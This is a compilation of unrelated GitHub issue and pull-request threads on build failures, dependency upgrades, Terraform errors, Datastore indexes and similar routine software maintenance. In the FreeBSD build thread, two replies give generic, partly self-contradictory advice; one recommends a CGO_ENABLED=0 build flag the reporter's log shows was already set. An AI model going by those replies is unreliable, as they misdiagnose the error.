I cant test installing this as I have the latest version which is a pre-release, and it cant be tested in a VM since it involves WSL so I'm not sure what is going wrong with this one


Bump up version to v0.5.0.

Codecov Report

Merging #31 (b452bdc) into main (f666159) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##             main      #31   +/-   ##
=======================================
  Coverage   96.28%   96.28%
=======================================
  Files          18       18
  Lines         619      619
  Branches       68       68
=======================================
  Hits          596      596
  Misses         22       22
  Partials        1        1

Flag
Coverage Δ

unittests
96.28% <ø> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update f666159...b452bdc. Read the comment docs.


Make memory hotpluged movable

Fix: #389
It relate to kata-containers/runtime#791

Hi,
Hi @BetaXOi - thanks for your contribution!
Travis is failing since our checkcommits tool is complaining:
Found 1 commit between commit b27f817fc3916c5403ea2023498b38880cfb6bd2 and branch master
ERROR: Commit b27f817fc3916c5403ea2023498b38880cfb6bd2: Failed to find subsystem in subject: "Make memory hotpluged movable"
ERROR: checkcommits failed. See the document below for help on formatting
commits for the project.
https://github.com/kata-containers/community/blob/master/CONTRIBUTING.md#patch-format

To resolve this issue, you just need to tweak your commit to something like the following, rebase and then re-push:
memory: Make hotplugged memory movable

Explain what this patch actually does here...

Fixes #791

Signed-off-by: Your Name<EMAIL_ADDRESS>

Please also raise an issue in this repo.

Oh! Good catch @caoruidong ! :smile:

@BetaXOi @jcvenegas - I'm going to guess you folks understand the state and plan for all the hotplug PRs in flight. I have a feeling this one may have been deprecated? If so, please mark as DNM or close as appropriate.
If we don't have a solid plan for all the hotplug/balloon work yet, can I request that we add an item to one of the Kata arch meeting calls so we can discuss and resolve? Would be great to see it all settled and landed :-)

@grahamwhaley I think the combination of both would be needed for different use cases, yes good topic to bring to the meeting I'll ask to some time in next meeting.

@BetaXOi Any update?

@BetaXOi @ningbo9
I'd like to understand if plugging the memory as "movable" has some bad impacts. I ask this question because if there's no bad impacts, I think we should make this as the default when hotplugging some memory.
Also, please provide a detailed commit message about the problem statement and how this PR solves the issue by using "movable".

Sorry everyone, i thought the solution of memory reduce has been determined using balloon or virtio-memory, thus i didn't update this anymore.
@sboeuf Honestly, I have no idea of whether or not there is some bad impacts. The only thing that can be determined is the kernel will not have directly reference to the page of the memoryblock onlined by online_movable, and need to migrate pages in the memoryblock want to removed to others when remove memory.

@BetaXOi

Sorry everyone, i thought the solution of memory reduce has been determined using balloon or virtio-memory, thus i didn't update this anymore.

No worries, it's true we've chosen those solutions but I thought that movable memory could be used in combination with those.

Honestly, I have no idea of whether or not there is some bad impacts. The only thing that can be determined is the kernel will not have directly reference to the page of the memoryblock onlined by online_movable, and need to migrate pages in the memoryblock want to removed to others when remove memory.

This is exactly the kind of thing that we care about for Kata Containers. We want to make sure that introducing a new feature does not impact the boot time, the memory footprint, or the global security of the system. If you want to pursue with this patch, it would be nice that you run some metrics to help the community to take a decision about the PR.
Also, if you're not planning on going forward with this PR, please simply close it.


bump zksync-web3

The issue with the CI is most likely related to the local-node docker image

@StanislavBreadless also examples still use the old compiler (v1.1.6)


Fresh Installation fails with data_store and feature_store modules

╷
│ Error: Provider produced inconsistent result after apply
│
│ When applying changes to module.data_store.module.dataform-workflow-prod[0].google_service_account.scheduler, provider
│ "module.data_store.provider["registry.terraform.io/hashicorp/google"]" produced an unexpected new value: Root resource was present, but now absent.
│
│ This is a bug in the provider, which should be reported in the provider's own issue tracker.
╵
╷
│ Error: local-exec provisioner error
│
│   with module.feature_store[0].null_resource.create_gemini_model,
│   on modules/feature-store/bigquery-procedures.tf line 1470, in resource "null_resource" "create_gemini_model":
│ 1470:   provisioner "local-exec" {
│
│ Error running command 'poetry run bq query --use_legacy_sql=false --max_rows=100 --maximum_bytes_billed=10000000 < ../../sql/query/create_gemini_model.sql
│ ': exit status 2. Output: BigQuery error in query operation: Error processing job 'maj-
│ uat2:bqjob_r127df360a4d91846_00000190e077fe87_1': Not found: Dataset maj-
│ uat2:gemini_insights was not found in location US
│ Failure details:
│ - Not found: Dataset maj-uat2:gemini_insights was not found in
│ location US
│
╵

After destroy and apply (for a second time)
╷
│ Error: Error creating service account: googleapi: Error 409: Service account workflow-scheduler-prod already exists within project projects/maj-uat2.
│ Details:
│ [
│   {
│     "@type": "type.googleapis.com/google.rpc.ResourceInfo",
│     "resourceName"<EMAIL_ADDRESS>│   }
│ ]
│ , alreadyExists
│
│   with module.data_store.module.dataform-workflow-prod[0].google_service_account.scheduler,
│   on modules/dataform-workflow/service-account.tf line 15, in resource "google_service_account" "scheduler":
│   15: resource "google_service_account" "scheduler" {
│
╵

Fixed with PR https://github.com/GoogleCloudPlatform/marketing-analytics-jumpstart/pull/149


#1189 adding info logging

Description
Adding a logging default and exception handling if envar was incorrectly set. I don't like it but here it is.
issue #(1189)
Type of change
Please check the relevant option(s).

[ ] Bug fix (non-breaking change which fixes an issue)
[x] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] This change requires a documentation update
[ ] Documentation changes only

How Has This Been Tested?

Just logging to allow for testing for 1189.
Checklist

[x] I have assigned myself to this PR
[x] PR has an appropriate title: #9999 - What the thing does
[x] PR has a detailed description, including links to specific documentation
[x] I have added the appropriate labels to the PR.
[x] I did not remove any parts of the template, such as checkboxes even if they are not used
[x] My code follows the style guidelines of this project
[x] I have performed a self-review of my own code
[x] I have commented my code, particularly in hard-to-understand areas
[x] I have made corresponding changes to any documentation
[ ] My changes generate no new warnings
[x] I have added tests that prove my fix is effective or that my feature works
[x] I have ensured the latest master is merged into my branch and all checks are green prior to review
[x] New and existing unit tests pass locally with my changes
[x] Any dependent changes have been merged and published in downstream modules
[x] The ticket is now moved into the DEV test column

Didn't check "My changes generate no new warnings" <-- it's adding logging intended to show warnings.


Watch/Subscribe to notifications not working on new Auth0 tenant

Observed behavior (please include a screenshot if possible)
Clicking Watch for a project or feed source yields the following error:

Expected behavior
Clicking watch should subscribe user to notifications for said entity.
Steps to reproduce the problem

Log into https://gtfs-dev.ibi-transit.com
Choose any project.
Click Watch in upper right hand.
Observe error shown above.

Any special notes on configuration used
N/A
Version of datatools-ui and datatools-server if applicable (exact commit hash or branch name)
https://github.com/conveyal/datatools-ui/commit/75c6626756da3cef1c4ac8c5a7c10e6934060f86
https://github.com/ibi-group/datatools-server/commit/aa0a0d7133ef81770e1cfa3f07028ca3fb88bf8f

:tada: This issue has been resolved in version 4.1.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Comments from endocrine, energy balance and metabolic control units

Can you please remove comments from the text of the document and commit that (once you push changes to github, the pull request should automatically be updated)


Tweniee: code from WebL10n to l10n in SharedNotes

#1378
Replaced WebL10n in SharedNotes
@llaske could you please review it

Few remarks:

[ ] Default content text is not localized

[ ]  Tooltips are not localized

[ ] Tutorial is not localized

Tooltips are not localized

I have seen all the merged PR they are also using tooltip statically. so please confirm

I get it now @llaske, can you please have a look now.
thanks for your time

@Tweniee,  I think it's important for maintenance reason, that's why @llaske was asking you to remove those ig

And now it's properly intended as is seen


oref0-meal fails when order of arguments is wrong and/or carbhistory.json is empty

After upgrading the advanced-meal-assist branch to the latest and greatest, my monitor/meal.json is failing.  The line in my meal.ini file was fields = pumphistory profile clock carbhistory glucose basal_profile and that worked previously.  My settings/carbhistory.json file is empty because reasons.  Running the command manually, but with my previous order like so: oref0-meal monitor/pumphistory.json settings/profile.json monitor/clock.json settings/carbhistory.json monitor/glucose.json settings/basal_profile.json gives me input data: [SyntaxError: Unexpected end of input].  However, if I make the order of arguments match the help prompt, then the report runs fine, both manually and from within my loop.

https://github.com/openaps/oref0/commit/f217c66685b1c8b66cff87af337e1ef65e2b1996 fixes this for me.  Can you confirm, or have you already adjusted your config?

Closing.  Please reopen if this doesn't fix.


Updating submodule to fix ATW judder issue on nVidia.

This pulls in a fix to the nVidia NDA driver that switches in a non-deprecated call for a deprecated call.  This was causing judder during ATW that is fixed by the pull request.

This has now come thru the CI build, following updating the build config to use vrworks graphics sdk (nda) version 2.4 (the latest reliable: 2.5 looked like a botched release when I was importing it), so the "get latest rm" scripts will get the results of this.


Adds pagination methods to applicable resources

Created HasPagination trait and added it to applicable resources. Also added usage to readme examples.

Fixed the tests to check meta data rather than relying on certain numbers or sites/servers.

😍


Cant run tests: Change the Color of Text

Challenge Change the Color of Text has an issue.
User Agent is: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36.
When runs tests nothing happening only button makes green.
My code:

CatPhotoApp

Kitty ipsum dolor sit amet, shed everywhere shed everywhere stretching attack your ankles chase the red dot, hairball run catnip eat the grass sniff.

@pidzej
Please use the Help chat room for getting challenge related help.
Happy Coding.


add cicd pipeline changes

tweaked terraform configuration for cicd update
updated lambda to use cache for environment to speed up dev env loading

@mbarrien I do want to ask one question about load balancing on the dev environment where there are multiple target groups, it seems the alb rule condition is the same for all them: "IF Path is/*", I wonder what is the magic behind the scene so that our urls gets directed to their own environment, like test1.com goes to test1 containers, and test2.com goes to test2 containers?

@mbarrien I do want to ask one question about load balancing on the dev environment where there are multiple target groups, it seems the alb rule condition is the same for all them: "IF Path is/*", I wonder what is the magic behind the scene so that our urls gets directed to their own environment, like test1.com goes to test1 containers, and test2.com goes to test2 containers?
ps. nvm. I found the missing host match part

Ya it was the combination of host_match along with the special uri with variables in it for the aws_api_gateway_integration

going to merge if no objection, I want to test our cicd out and make sure our staging is up to date with main branch

will address any other comment in subsequent PR, just need to test out the main branch ci


rdataframe to awkward

@jpivarski - would the following guarantee that the result does not go away? It's in ROOT src/bindings/pyroot_legacy/_rdf_utils.py
import numpy

class ndarray(numpy.ndarray):
    """
    A wrapper class that inherits from numpy.ndarray and allows to attach the
    result pointer of the `Take` action in an `RDataFrame` event loop to the
    collection of values returned by that action. See
    https://docs.scipy.org/doc/numpy/user/basics.subclassing.html for more
    information on subclassing numpy arrays.
    """
    def __new__(cls, numpy_array, result_ptr):
        """
        Dunder method invoked at the creation of an instance of this class. It
        creates a numpy array with an `RResultPtr` as an additional
        attribute.
        """
        obj = numpy.asarray(numpy_array).view(cls)
        obj.result_ptr = result_ptr
        return obj

    def __array_finalize__(self, obj):
        """
        Dunder method that fills in the instance default `result_ptr` value.
        """
        if obj is None: return
        self.result_ptr = getattr(obj, "result_ptr", None)

That class doesn't do anything to attach itself to a RDataSource by itself, but presumably NumPy arrays require special handling because np.ndarray is an extension type. By subclassing it, they've made an equivalent of an np.ndarray that would work around any issues due to np.ndarray not being an ordinary Python type. Our arrays and Lookup are ordinary Python classes.
But you're right that RNumpyDS is going to have exactly the same problem that we do: the data is owned by a NumPy object, so that NumPy object has to be kept in scope as long as the RNumpyDS is. Here's the pointer:
https://github.com/root-project/root/blob/4f9759c604d05a8304bf0b55f5738a479441e151/bindings/pyroot/pythonizations/inc/RNumpyDS.hxx#L60-L63
and maybe that PyObject* is actually an ndarray subclass, rather than NumPy's own np.ndarray, for technical reasons, but what's important for us is that they do hold such an object.
The RNumpyDS does Py_INCREF and Py_DECREF the fPyRVecs with no special handling for the Python GIL:
https://github.com/root-project/root/blob/4f9759c604d05a8304bf0b55f5738a479441e151/bindings/pyroot/pythonizations/inc/RNumpyDS.hxx#L129-L150
There are no other references to fPyRVecs in the RNumpyDS implementation. If this is the right way to do it, then we should do the same. Our RDataSources run under the same conditions as RNumpyDS; we should be doing the same memory management.
If this is right, then I think that means that ROOT functions that might create or delete RNumpyDS instances are holding the Python GIL. That surprises me, since it would prevent speed-ups in parallel processing. Maybe it's okay because the parallel processing only happens in a fork-join pattern in which the RNumpyDS is never created or destroyed?
It's still worth asking As it turns out, @etejedor has already answered my question here: https://github.com/scikit-hep/awkward-1.0/pull/1446#discussion_r861564862. I'm just getting the messages out of order. Okay, so it is safe to Py_INCREF and Py_DECREF freely in the constructor and destructor, without any special GIL-handling, because they aren't called from __release_gil__ functions.

src/awkward/config.py:99:5: T201 print found.

We should get rid of anything related to "config.py". It's for compiling dependents, which is something we're giving up on on v2.

> ```shell
> src/awkward/_v2/_connect/numba/arrayview.py:16:9: T201 print found.
> src/awkward/_v2/_connect/numba/arrayview.py:17:9: T201 print found.
> src/awkward/_connect/_numba/arrayview.py:20:9: T201 print found.
> src/awkward/_connect/_numba/arrayview.py:21:9: T201 print found.
> ```

There shouldn't be print statements in these files. Remove them.

How did they get there and why is this showing up now? I have no idea.

Apparently, what happened is that the number changed from T001 to T201. I would have thought that those numbers wouldn't change—why else would they be short codes like that? Oh well. Since this might be run under different versions of flake8-print, it's probably safest to ignore both:
# noqa: T001,T201

I don't know what the new "T001" is, but we're only losing the protection of this test on a few isolated lines, so it's probably fine.

Long term, I'd specify flake8-print>=5 in the .pre-commit-config.yaml file, and then drop the T001 specifier in the ignore - yesqa would detect this and removing it, I think. I'd also think flake8 should warn about an unused ignore, perhaps.

In #1464, I'm doing what @henryiii suggested, so the flake8-print comments will need to be "T201" to be mergeable.

replaced by #1474


i updated the interfaces of the prototype it took me a while but i fi…

…nished 85% of the work

great job hamza


Move from TPR to different backend for Istio rules backend

TPRs have proved to be unstable and are also hindering adoption in older k8s versions.
Like the mixer, its more portable to use something like redis to store Istio rules. Preferably, we could normalize the interface such that different backends can be plugged in. This would help platform portability as well.
cc @GregHanson @kyessenov @ijsnellf

cc @andraxylia who will need to create a persistent HA deployment of redis

We will tie this with the config server work. The choice of backend has not happened yet.

issue reassigned to galley.
TPR deprecation is in #848


Use context from parent call in pkg/kube/exec.go

Description
With k8s upgrade to 0.26.1, streaming functions require context with stream options. One such change was needed here. We need to get this context from a caller function.

@shahpratikr I've submitted #1938. Please review.

Hey @Bhargav-InfraCloud , thanks for contributing. But this ticket was created to have context from parent function for return exec.Stream(remotecommand.StreamOptions{ this call in pkg/kube/exec.go. Also, we need to make this change once #1862 this PR is merged.


How are validation images excluded for RefCOCO?

It seems like this variable https://github.com/dvlab-research/LISA/blob/8d5edb43e89d13186ff8e561ceea45eb49e288c9/utils/refer_seg_dataset.py#L43 is not being used in the code. Which part of the code exclude the validation images?
What about the test images? Are they excluded as well?

The released version is refactored from our experimental codebase. To ensure code readability, we do not refactor this part (so please ignore the variable exclude_val).
FYI, for the experiments of Table 2 in our paper, we exclude both validation and testing images of refCOCO series data for a fair comparison.

@X-Lai so does that mean that this codebase currently does not remove val?


NPM logo

simplified vector NPM logo. 40x40px

Warnings

:warning:

This PR targets gh-pages - It is likely that the target branch should be master

Messages

:book:

:sparkles: Thanks for your contribution to Shields, @omrilotan!

  Generated by :no_entry_sign: dangerJS


Case on BooleanExpression seems to wrongly serialize to JPQL

Observed vs. expected behavior
I'm using a case structure to convert BooleanExpression to NumberExpression in order to be able e.g. to aggregate (sum) records matching my criteria.
I use following querydsl code:
return queryFactory.selectFrom(rootEntity).select(Projections.list(rootEntity.size.gt(1).when(true).then(1).otherwise(0))).fetch();

The part:
rootEntity.size.gt(1)

is my BooleanExpression, I'm trying to map to numbers - 1 for true, 0 for false. That's the part:
.when(true).then(1).otherwise(0)

When executing the code above, I get following QuerySyntaxError:
org.hibernate.hql.internal.ast.QuerySyntaxException: unexpected AST node: > near line 1, column 39 [select sum(case when (rootEntity.size > ?1) = ?2 then ?3 else 0 end)
from foundation.jpa.querydsl.test.schema.RootEntity rootEntity]

The whole case ... when ... otherwise structure looks strange there. Case has no parameter, and when part contains complex boolean expression built from my original expression being equal to true.
But the HQL parser cannot parse it (I'm using H2 db, if that can make any difference).
Steps to reproduce
As I suspect the case on BooleanExpression, I tried even without the sum(), and get into the same parse error. So minimal steps to reproduce are to run following code:
queryFactory.selectFrom(rootEntity).select(Projections.list(QRootEntity.rootEntity.size.gt(1).when(true).then(1).otherwise(0))).fetch();

given RootEntity having numeric size property.
Environment
I observe this on querydsl-jpa 5.0.0
Querydsl version: 5.0.0
Querydsl module: querydsl-jpa
Database: H2
JDK:
/usr/lib/jvm/java-8-oracle/bin/java -version
java version "1.8.0_131"
Java(TM) SE Runtime Environment (build 1.8.0_131-b11)
Java HotSpot(TM) 64-Bit Server VM (build 25.131-b11, mixed mode)
Additional details
When debugging the JPAQuery internal representation, the projection.toString() results in better form: case size > 1 when true then 1 otherwise 0.

Querydsl JPA by default uses parameters for constants. Literal rendering needs to be used explicitly through Expressions.literal (or through TemplateExpressions).


fix: adding code example for instructions in step 12 of Cat Photo App project

Checklist:

[x] I have read and followed the contribution guidelines.
[x] I have read and followed the how to open a pull request guide.
[x] My pull request targets the main branch of freeCodeCamp.
[x] I have tested these changes either locally on my machine, or GitPod.

Closes #51258

@samkim777
Please make sure to properly link the issue to this PR
https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue

Hey @samkim777
CI errors seem to be unrelated and originating from the main at the time when PR branch was created. Could you update the PR branch with changes from the freeCodeCamp:main?
Let us know if you'd need help with that.
Happy contributing.

Hello @gikf!
I think I updated the PR branch correctly. Could you take a look?
Thanks!

Hi @samkim777. Congrats on your first pull request (PR)! 🎉
Thank you for your contribution to the page! 👍
We are happy to accept these changes and look forward to future contributions. 📝


Suggest that people move to "beta" when they upgrade on "master"

Similar to https://github.com/flutter/flutter/pull/126972 but for master upgrades.

PTAL


Building on FreeBSD: Findings

I am aware that FreeBSD is not officially supported to run temporal. Nevertheless, I was trying to build the latest version on FreeBSD 14.0-ALPHA4 amd64. Here is how far I got:
Install dependencies:
pkg install -y gmake go120 git

Get the repository:
git clone --recurse-submodules https://github.com/temporalio/temporal.git

Try to build it with the provided GNU-Makefile:
cd temporal
ln -s /usr/local/bin/go120 /usr/local/bin/go
gmake

Output:
e[1;36mInstall/update goimports...e[0m
e[1;36mInstall/update linters...e[0m
e[1;36mInstall/update mockgen tool...e[0m
e[1;36mInstall/update proto plugins...e[0m
e[1;36mInstall/update proto linters...e[0m
e[1;36mBuild temporal-server with CGO_ENABLED=0 for freebsd/amd64...e[0m
CGO_ENABLED=0 go build -o temporal-server ./cmd/server
# github.com/temporalio/tchannel-go
../go/pkg/mod/github.com/temporalio/tchannel-go@v1.22.1-0.20220818200552-1be8d8cffa5b/sockio_unix.go:42:33: undefined: getSendQueueLen
gmake: *** [Makefile:212: temporal-server] Error 1

It would be awesome if someone could have a look. Maybe it's easy to fix. If you need a VM, this vagrant box would suffice.

Thanks for reporting this!  It appears that the issue stems from the use of getSendQueueLen  in  sockio_unix.go .  This function is not available on FreeBSD.
To work around this issue, you can use the provided GNU-Makefile to build temporal-server with the CGO_ENABLED=0 flag set, which disables CGO for the FreeBSD build.  However, if you require features that rely on CGO, this workaround may not be suitable.
Would you like to know more about building Temporal on FreeBSD?

Thanks for reporting this. It looks like you're running into an issue with the getSendQueueLen function being undefined in sockio_unix.go. This function was introduced in tchannel-go v1.21.0. The version of tchannel-go that your Go version is using is v1.22.1.
To resolve this, you can try updating the tchannel-go dependency in your Go project. You can do this by running:
go get -u<EMAIL_ADDRESS>
If this doesn't work, please provide your Go version and the output of go mod graph so I can help you further.


ReferenceError: Can't find variable: endpoint after upgrading from 3.0.3 to 5.1.1

React version 18.0.0
Package manager version npm 8.19.2
Node version 16.13.2
Rest Hooks version 6.3.11
Describe the bug
I am upgrading @rest-hooks/rest from 3.0.3 to 5.1.1 for a React-Native (Expo) app and I get this error  ReferenceError: Can't find variable: endpoint. When I revert back to 3.0.3 the error goes away. Is there something new that needs to be installed or configured for v 5.1.1 to work? Thanks for the great work 👍🏻

Can you check your lockfile to see if there are multiple versions of @rest-hooks/endpoint installed?
For reference, https://github.com/coinbase/rest-hooks/pull/2159 is intended to solve the problem of multiple endpoint packages installed.

The lock file shows install version for @rest-hooks/endpoint is 2.3.1.
Every other rest-hooks package that require @rest-hooks/endpoint also mention the same version 2.3.1 except for @rest-hooks/rest.

Hmm, so there's only one entry for @rest-hooks/endpoint?
Can you paste the full stack trace of the ReferenceError?

Can you try<EMAIL_ADDRESS>and<EMAIL_ADDRESS>

Hmm, so there's only one entry for @rest-hooks/endpoint?
Can you paste the full stack trace of the ReferenceError?

Yes. Stacktrace

Can you try<EMAIL_ADDRESS>and<EMAIL_ADDRESS>
same error

More Info: I am also using the same code on web using react-native-web and it works there. Can the latest version be using any node api that is available on the web and not on the JavaScript engine used by react-native?

Two new ideas:

@rest-hooks/rest has @rest-hooks/endpoint as peerdeps - perhaps it cannot find it - try adding @rest-hooks/endpoint  to root level?

react-native has its own javascript environment. Perhaps there is something odd there. Do you know where the docs are that detail what the environment supports?

Just published beta.1; can you try that as well?

@rest-hooks/rest has @rest-hooks/endpoint as peerdeps - perhaps it cannot find it - try adding @rest-hooks/endpoint  to root level?

same error

Just published beta.1; can you try that as well?

same error

2. react-native has its own javascript environment. Perhaps there is something odd there. Do you know where the docs are that detail what the environment supports?

Not sure if there is any source that mentions that, according to react-native docs https://reactnative.dev/docs/javascript-environment
There is also a new Hermes engine and I have tried it with too, same error persists. Can we see a source difference for rest-hooks/rest from 3.0.1 onwards?, I didn't see any tag for it github since its a monorepo

https://github.com/coinbase/rest-hooks/blob/master/packages/rest/CHANGELOG.md is the changelog. Maybe try exactly version 5.0.0 in case this is related to the package exports field changes from https://github.com/coinbase/rest-hooks/pull/2099

It might be easier to pair on this so if you're down feel free to book something on my calendar: https://calendly.com/ntucker1337/hour-meeting

What I'm learning is that in Safari (and thus react native on ios), 'Can't find variable' is the same as 'Uncaught ReferenceError: a is not defined' - so in other words the scope is no aware of a declared variable of that name.
The only thing I can find related to this is sometimes there's weird scoping rules that happen like in : https://stackoverflow.com/questions/67771875/only-in-safari-referenceerror-cant-find-variable
However, the commonjs module has 'use strict' at the top so that specific problem doesn't seem to apply here. I am thinking maybe the RN pipeline is combining files in some way that maybe changes scoping in a weird way but not sure.
Just to double check: Can you maybe paste in what is showing up as the index.js where the error comes from just to verify its contents?

https://stackoverflow.com/a/38686052/1046439 hmm maybe react native doesn't support require anymore? But then why is it loading the commonjs file?
We could validate this by finding in the @rest-hooks/rest package.json
  "exports": {
    ".": {
      "module": "./lib/index.js",
      "import": "./node.mjs",
      "require": "./dist/index.js",
      "default": "./lib/index.js"
    },
    "./package.json": "./package.json"
  },

and changing it to
  "exports": {
    ".": {
      "module": "./lib/index.js",
      "react-native": "./lib/index.js",
      "import": "./node.mjs",
      "require": "./dist/index.js",
      "default": "./lib/index.js"
    },
    "./package.json": "./package.json"
  },

This would tell newer react native to only use es6 module versions. I just don't have an environment myself to validate this with so I'm unsure.

and changing it to
  "exports": {
    ".": {
      "module": "./lib/index.js",
      "react-native": "./lib/index.js",
      "import": "./node.mjs",
      "require": "./dist/index.js",
      "default": "./lib/index.js"
    },
    "./package.json": "./package.json"
  },

Tried this but same error.

Maybe try exactly version 5.0.0

Tried and same error. Then I tried with version 4.0.0 and these are the changes which introduce the error for the first time. So, up till 3.0.3 everything works as it is. But just upgrading to 4.0.0 of rest-hooks/rest, the error starts to appear.
I created a demo repo => https://github.com/uxxman/rest-hooks-error. If you see the commit history, its simple;
=> first is project init commit https://docs.expo.dev/get-started/create-a-new-app/
=> second is for adding a basic example of rest-hooks with version 3.0.3
If you clone and run it (npm start) everything works, then just update rest-hooks/rest to v 4.0.0+ and the error starts to appear.

Thanks for the demo repo. It's taking a bit for me to get it running on my machine. Installed android studio, and currently at Error: spawn /mnt/c/Users/natma/AppData/Local/Android/Sdk/platform-tools/adb ENOENT

I setup a symbolic link to get adb.exe callable from adb. so i'm at:
Logs for your project will appear below. Press Ctrl+C to exit.
› Opening on Android...
› Opening exp://<IP_ADDRESS>:19000 on Pixel_6_Pro_API_33
› Press ? │ show all commands
Android Bundling complete 1253ms

But the android VM just shows a white screen with a white line. Is the app supposed to show anything when it's working?

@ntucker you don't need android studio or anything if you have a smart phone....just install the Expo app, scan the QR-Code and the app will start running on your device. My apologies that you had to go through that hectic setup 😔
The app just displays the list of posts from https://jsonplaceholder.typicode.com/posts

Ok, I think I figured out how to fix - validating this now!

It worked for me so I'm gonna publish a non-beta version of this.
Try<EMAIL_ADDRESS>and<EMAIL_ADDRESS>@uxxman !

@ntucker verified<EMAIL_ADDRESS>and<EMAIL_ADDRESS>works as expected. Thanks man. Great work and support as always.


Is datastore.createQuery.hasAncestor() just work alone without any other query command like order sort or select?

Hi,
I use the<EMAIL_ADDRESS>& nodejs 0.12.7.
And use datastore.createQuery get some result.
Every looks great when I do a query with filter + sort + select + limit + order same time.
But I got Error 412 'Precondition Failed' when I add a hasAncestor() for any filter + sort + select + limit. Even I change order for each one when createQuery.
I used hasAncestor() whthout other filter or sort was work fine.
Is the hasAncestor() can only alone, can't use other command as sort or select or filter same time?
Or that is a bug?
I did:
var q = ds.createQuery('table')
.hasAncestor(ds.key({path:['fatherTable','fatherName']}))
.select('time')
.order('-time')
.limit(5)

Thanks for reporting! I'm not sure in this case, but I bet @pcostell can help.

In order to use hasAncestor with an order you'll need to build an index. If you try running that query while using the gcd.sh tool, it should recommend the proper index. You can learn more about the index config and gcd tool indexes and the gcd tool in general.
In this particular case, your datastore-indexes.xml file should look something like:
<?xml version="1.0" encoding="utf-8"?>
<datastore-indexes autoGenerate="true">
  <datastore-index kind="table" ancestor="true">
    <property name="time" direction="desc" />
  </datastore-index>
</datastore-indexes>

Hi Pcostell,
Thank you so much for quickly reply.
I got it.
You are right, I did not ready the indexes.xml file.
The Datastore is so magical, different than SQL. I like that idea to storage data.
ALso thank you Stephenplusplus.
Peter

HI,
I try add a indexes.xml for my project, Because I use the Goole App with Node.js, so It looks hard to add a indexes.xml file to application's dataset directory. Because if you use gcloud command to push to remote. I try add the Index.xml in my local node project's directory like /war/WEB-INF/appengine-generated/datastore-indexes.xml, then push to remote. Finally it looks not working.
So it looks just one way that is use the gcd tool.

Download gcd-v1beta2-rev1-2.1.1.zip
#unzip gcd-v1beta2-rev1-2.1.1.zip      <------ use terminal command, if not you will get 'appengine-tools-api.jar not found' ERROR
#gcd.sh create -d my-dataset my-project  <---- use gcd command to create local dadastore
Than you can check the directory my-project/WEB-INF/ have some file
Add your index file to that WEB-INF/datastore-indexes.xml
#gcd.sh updateindexes --auth_mode=oauth2 my-project <---   then push local datastore setup to remote project
open Developers console web page. check the indexed at Storage->Cloud Datastore->Indexes. It show a index detail.
Then all looks fine.
My problem looks clear.

My question is why let us do so hard work for add a index. (SQL don't need do).
May be make a 'New index' on Developers console's Datastore.Indexes. You can edit or create a new index with webpage, because some case we don't use Python or Java.
I very love use Datastore and need clean up all my SQL idea. I hope it will easy to use and learn.

@petersunquest sorry it's not super easy right now. We are working to integrate gcd into the gcloud command line tool, which will make this much nicer. In the future we also plan to make index creation available via an API, so you should get the "New Index" option in the developer console.
Unlike SQL, Datastore requires that all queries scale with the size of the result set. Because of this, specific indexes are required to actually run a query. For example, if you were filtering for x = 2, but had no indexes and billions of entities, you would need to scan every single entity looking for entities that match that filter. With Datastore, we require an index on x so that all the results for your query x = 2 exist in a single range scan of the index. Note that if you were running SQL this is still a real concern (which is why you can build indexes), SQL is just willing to issue the expensive (time and cost) query to get your results.


:iphone: Optimize home screen titles and buttons for mobile viewport

Addresses issue #81

Add extra styles for sreens of lower width
There are seperate slides for 425px and 375px width

Here's screenshots to help the process
Before

After

For symmetry should we find a material icon to use for request?

I'd like to have the icon, but if we want to get this in first, we can merge first and add later.


Add note and link referring to the bazel branch for Bazel builds

Mentions nanobind-bazel as the method of choice for building extensions.

Looks like macos-12 is gone for good.


Programatic way to create outgoing webhooks?

This guide doesn't include a way to programmatically make outgoing webhooks. Is this even possible?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: da50e4db-a713-ab8b-d27b-89aa946619d0
Version Independent ID: 57e368e2-aaed-fa8d-ed49-cc18e594ab1d
Content: Office 365 Connectors - Teams
Content Source: msteams-platform/webhooks-and-connectors/how-to/connectors-creating.md
Product: msteams
GitHub Login: @laujan
Microsoft Alias: lajanuar

@quesurifn , Teams provide the interface to create outgoing webhook to POST request over a specified callback URL (That can be an external service URL which can accept JSON as payload from Teams). Please look at outgoing webhook sample code  but currently we don't support any API to create outgoing webhook

@quesurifn , Please feel free to reopen this issue, if you have further query


Unable to Read Certain sensors

HI
I could previously read the below sensors, however now that I have migrated by Home Assistant to a new virtual machine I am unable to read them.
Basically the log file show the process is failing when I start with the following sensors:
When I remove the Time and Capacity sensors it starts up perfectly.  Is the sensors not available anymore?
[s6-init] making user provided files available at /var/run/s6/etc...exited 0.
[s6-init] ensuring user provided files have correct perms...exited 0.
[fix-attrs.d] applying ownership & permissions fixes...
[fix-attrs.d] done.
[cont-init.d] executing container initialization scripts...
[cont-init.d] done.
[services.d] starting services
[services.d] done.
2023-04-20 14:57:29,571 INFO    Loading HASS OS configuration
2023-04-20 14:57:29,587 DEBUG   could not patch umodbus: numpy not found
2023-04-20 14:57:29,592 INFO    ############################################################
2023-04-20 14:57:29,592 INFO        Sensor deprecated: total_pv_power -> total_pv_energy
2023-04-20 14:57:29,592 INFO    ############################################################
Traceback (most recent call last):
File "/usr/src/app/./run.py", line 472, in
startup()
File "/usr/src/app/./run.py", line 261, in startup
setup_sensors()
File "/usr/src/app/./run.py", line 307, in setup_sensors
for dep in sen.dependencies:
TypeError: 'method' object is not iterable
[cmd] ./run.py exited 1
[cont-finish.d] executing container finish scripts...
[cont-finish.d] done.
[s6-finish] waiting for services.
[s6-finish] sending all processes the TERM signal.

prog1_time:now
prog1_capacity:now
prog2_time:now
prog2_capacity:now
prog3_time:now
prog3_capacity:now
prog4_time:now
prog4_capacity:now
prog5_time:now
prog5_capacity:now
prog6_time:now
prog6_capacity:now

Please use the MULTI addon only


Prioritize FlexCI daemon in Windows CI

